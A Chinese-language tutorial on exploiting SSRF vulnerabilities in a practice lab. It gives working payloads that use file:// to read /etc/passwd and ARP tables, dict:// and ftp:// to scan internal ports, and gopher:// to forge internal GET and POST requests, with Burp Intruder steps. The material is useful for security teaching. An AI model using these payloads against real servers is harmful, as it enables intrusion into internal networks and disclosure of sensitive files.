在有SSRF漏洞的服务器或主机提供的网页中使用一些伪协议来获取内网信息。这里可能需要ssrf漏洞靶场来做实验。
一、file://
从文件系统中获取文件内容,格式为file://[文件路径]
file:///etc/passwd 读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie 显示当前网段路由信息
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
我们可以配合Burp Suite的intruder模块轮询访问内网主机获取arp缓存判断有那些主机存活。
结果图中第4列全为0的就代表主机不存在或未开启。
二、dict://、ftp://
ftp://可用于网络端口扫描,效率相对较低
使用ftp://同样利用burpsuite对内网依次扫描
ftp扫描时间长,tcp连接成功但是请求内容识别不到仍不会回复。
dict://字典服务协议,访问字典资源,如dict://ip:6739/info。可用于:扫描端口、获取内网信息、爆破密码等。
dict:// +ip:端口+/TCP/IP数据
如扫描有那些主机开了80端口:dict://172.251.250.1:80,将IP地址最后一段设为payload变量依次扫描,根据Length判断是否返回数据,从而判断端口是否打开 ,利用不同的Payload同时扫描多个IP的多个端口。
三、http://
作用:常规URL形式,允许通过HTTP 1.0的GET方法,以只读访问文件或资源。
http://example.com
http://example.com/file.php?var1 =val1 &var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1 =val1 &var2=val2
https://user:password@example.com
查找内网存活主机IP file://
查找内网主机开放端口 dict://、ftp://
目录扫描 http://
如内网htttp://172.250.250.4,通过目录扫描获取网站子页面,使用burp打开代理拦截页面发送至intruder,子页面为http://172.250.250.4/文件名+后缀,为文件名和后缀添加payload变量。
根据数据包大小判断是否有内容页面。可以增加扫描选项如php、zip、txt等。
四、gopher://
利用范围较广:GET提交、POST提交、redis、fastcgi、sql
基本格式:
gopher://<目标IP>:<端口>/<gopher-path>
gopher协议默认端口为 70,web也需要加端口。
注意gopher请求不转发第一个字符,要使用下划线(或自己定义个符号)填充首位。
GET提交
需要保留头部信息:
1、路径:GET /name.php?name=123 HTTP/1.1
2、目标地址:Host:172.250.250.4
gopher://172.250.250.4:80/_GET%20/name.php%3fname=123%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
注意添加端口号80和填充位
URL编码
空格 %20
问号 %3f
换行符 %0d%0A
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a(换行符),代表消息结束(具体可研究HTTP包结束)
4、URL编码改为大写,冒号注意英文冒号
5、如果使用BP发包需要进行两次url编码
6、GET提交最后需要增加一个换行符
POST提交
需要保留头部信息
1、POST
2、Host:
3、Content-Type:
4、Content-Length:
使用工具将下面保留的内容进行两次URL编码,在bp或hackbar中post提交要两次URL编码,在浏览器栏中提交只进行一次URL编码。
POST /name.php HTTP/1.1
Host:172.250.250.4
Content-Type:application/x-www-form-urlencoded
Content-Length:8
name=123
注意:
1、POST后面是要提交的文件名
2、Host为目标主机
3、类型要和提交的类型一致
4、长度为下面提交内容的具体长度
5、中间的空行不能少
gopher格式不变
gopher://172.250.250.4:80/_编码后的内容粘贴至此